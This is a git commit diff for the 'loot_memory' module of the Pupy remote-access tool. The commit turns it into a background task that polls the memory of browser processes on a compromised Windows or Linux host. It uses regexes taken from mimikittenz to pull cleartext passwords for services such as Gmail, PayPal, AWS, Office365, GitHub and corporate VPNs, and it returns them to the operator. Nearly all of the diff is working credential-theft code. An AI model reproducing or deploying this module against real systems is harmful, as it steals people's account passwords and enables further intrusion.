loot_memory rebuild using the hasmon module

This commit is contained in:
AlessandroZ 2018-10-02 11:44:03 +02:00
parent 7a4513e002
commit 8d2b071684
2 changed files with 136 additions and 74 deletions

View File

@ -6,19 +6,37 @@ __class_name__="LootMemory"
@config(cat="creds", compat=["windows", "linux"]) @config(cat="creds", compat=["windows", "linux"])
class LootMemory(PupyModule): class LootMemory(PupyModule):
""" '''
crawl processes memory and look for cleartext credentials Crawl processes memory and look for cleartext credentials
""" '''
dependencies=['memorpy', 'loot_memory'] unique_instance = True
dependencies = ['memorpy', 'loot_memory']
@classmethod @classmethod
def init_argparse(cls): def init_argparse(cls):
cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__) cls.arg_parser = PupyArgumentParser(prog='loot_memory', description=cls.__doc__)
cls.arg_parser.add_argument('-p', '--poll', default=20, type=int, help='Poll interval (seconds)')
cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])
def run(self, args): def run(self, args):
with redirected_stdio(self): start = self.client.remote('loot_memory', 'start')
loot=self.client.conn.modules["loot_memory"].dump_browser_passwords() stop = self.client.remote('loot_memory', 'stop', False)
for browser, dic in loot.iteritems(): dump = self.client.remote('loot_memory', 'dump')
self.info("%s crawled :"%browser)
for i, passwords in dic.iteritems(): if args.action == 'start':
self.success("%s:\n\t%s"%(i, '\n\t'.join(passwords))) ok = start(poll=args.poll)
if ok:
self.success('PwdMon has been started')
else:
self.error('PwdMon has not been started')
elif args.action == 'dump':
results = dump()
if results is None:
self.error('PwdMon is not started')
else:
for proc, service, pwd in results:
self.success('[{}][{}]{}'.format(proc, service, pwd))
elif args.action == 'stop':
stop()

View File

@ -7,75 +7,119 @@ This script uses memorpy to dumps cleartext passwords from browser's memory
It has been tested on both windows 10 and ubuntu 16.04 It has been tested on both windows 10 and ubuntu 16.04
The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz The regex have been taken from the mimikittenz https://github.com/putterpanda/mimikittenz
""" """
import psutil
import pupy
import sys
import time
from memorpy import MemWorker, ProcessException from memorpy import MemWorker, ProcessException
import psutil
import sys
#from https://github.com/putterpanda/mimikittenz def start(poll=20):
mimikittenz_regex=[ if pupy.manager.active(PwdMon):
("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="), return False
("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="), try:
("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="), pupy.manager.create(
("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="), PwdMon
("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"), )
("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="), except:
("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"), return False
("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"), return True
("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="), def dump():
("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="), mon = pupy.manager.get(PwdMon)
("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="), if mon:
("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="), return mon.results
("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
("Malwr","&username=.{1,32}&password=.{1,22}&next="), def stop():
("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"), mon = pupy.manager.get(PwdMon)
("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"), if mon:
("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"), pupy.manager.stop(PwdMon)
("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"), return mon.results
("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
("Github","%3D%3D&login=.{1,50}&password=.{1,50}"), class PwdMon(pupy.Task):
("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"), def __init__(self, manager, poll=60):
("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"), super(PwdMon, self).__init__(manager)
("Cpanel","user=.{1,50}&pass=.{1,50}"), self.duplicates = set()
] self.poll = poll
def dump_browser_passwords():
# start_time=time.time() if sys.platform == "win32":
loot={} self.browser_list = ["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"]
if sys.platform=="win32": else:
browser_list=["iexplore.exe", "firefox.exe", "chrome.exe", "opera.exe", "MicrosoftEdge.exe", "microsoftedgecp.exe"] # self.browser_list = ["firefox", "iceweasel", "chromium", "chrome"]
else: self.browser_list = ["firefox"]
browser_list=["firefox", "iceweasel", "chromium", "chrome"]
for proc in psutil.process_iter(): # from https://github.com/putterpanda/mimikittenz
try: self.mimikittenz_regex = [
if proc.name().lower() in [x.lower() for x in browser_list]: ("Google","identifier=.{1,99}&continue=.{1,99}&password=.{1,99}&"),
browser=proc.name() ("Gmail","&Email=.{1,99}?&Passwd=.{1,99}?&PersistentCookie="),
print "process found: %s"%browser ("Dropbox","login_email=.{1,99}&login_password=.{1,99}&"),
("SalesForce","&display=page&username=.{1,32}&pw=.{1,16}&Login="),
("Office365","login=.{1,32}&passwd=.{1,22}&PPSX="),
("MicrosoftOneDrive","login=.{1,42}&passwd=.{1,22}&type=.{1,2}&PPFT="),
("PayPal","login_email=.{1,48}&login_password=.{1,16}&submit=Log\+In&browser_name"),
("awsWebServices","&email=.{1,48}&create=.{1,2}&password=.{1,22}&metadata1="),
("OutlookWeb","&username=.{1,48}&password=.{1,48}&passwordText"),
("Slack","&crumb=.{1,70}&email=.{1,50}&password=.{1,48}"),
("CitrixOnline","emailAddress=.{1,50}&password=.{1,50}&submit"),
("Xero ","fragment=&userName=.{1,32}&password=.{1,22}&__RequestVerificationToken="),
("MYOB","UserName=.{1,50}&Password=.{1,50}&RememberMe="),
("JuniperSSLVPN","tz_offset=-.{1,6}&username=.{1,22}&password=.{1,22}&realm=.{1,22}&btnSubmit="),
("Twitter","username_or_email%5D=.{1,42}&session%5Bpassword%5D=.{1,22}&remember_me="),
("Facebook","lsd=.{1,10}&email=.{1,42}&pass=.{1,22}&(?:default_)?persistent="),
("LinkedIN","session_key=.{1,50}&session_password=.{1,50}&isJsEnabled"),
("Malwr","&username=.{1,32}&password=.{1,22}&next="),
("VirusTotal","password=.{1,22}&username=.{1,42}&next=%2Fen%2F&response_format=json"),
("AnubisLabs","username=.{1,42}&password=.{1,22}&login=login"),
("CitrixNetScaler","login=.{1,22}&passwd=.{1,42}"),
("RDPWeb","DomainUserName=.{1,52}&UserPass=.{1,42}&MachineType"),
("JIRA","username=.{1,50}&password=.{1,50}&rememberMe"),
("Redmine","username=.{1,50}&password=.{1,50}&login=Login"),
("Github","%3D%3D&login=.{1,50}&password=.{1,50}"),
("BugZilla","Bugzilla_login=.{1,50}&Bugzilla_password=.{1,50}"),
("Zendesk","user%5Bemail%5D=.{1,50}&user%5Bpassword%5D=.{1,50}"),
("Cpanel","user=.{1,50}&pass=.{1,50}"),
]
def dump_browser_passwords(self):
for proc in psutil.process_iter():
if proc.name().lower() in [x.lower() for x in self.browser_list]:
try: try:
mw=MemWorker(pid=proc.pid) mw = MemWorker(pid=proc.pid)
except ProcessException as e: except ProcessException as e:
print e
continue continue
loot[browser]={} # browser found
for service, regex in mimikittenz_regex:
for x in mw.mem_search(regex, ftype='re'):
try:
passwd=x.read(type="string", maxlen=100, errors='ignore')
if service not in loot[browser]:
loot[browser]={service: [passwd]}
else:
loot[browser][service].append(passwd)
except Exception as e:
print e
pass
except Exception as e:
print e
#print "All passwords dumped in %ss"%(time.time()-start_time)
return loot
if __name__=="__main__": for service, regex in self.mimikittenz_regex:
print dump_browser_passwords() try:
for x in mw.mem_search(regex, ftype='re'):
passwd = None
if type(x) == tuple:
for i in x:
try:
passwd = i.read(type="string", maxlen=100, errors='ignore')
except Exception as e:
continue
else:
try:
passwd = x.read(type="string", maxlen=100, errors='ignore')
except Exception as e:
pass
if passwd:
result = (proc.name(), service, passwd)
if result not in self.duplicates:
self.duplicates.add(result)
yield result
except Exception as e:
continue
def task(self):
while self.active:
for proc, service, pwd in self.dump_browser_passwords():
self.append((proc, service, pwd))
time.sleep(self.poll)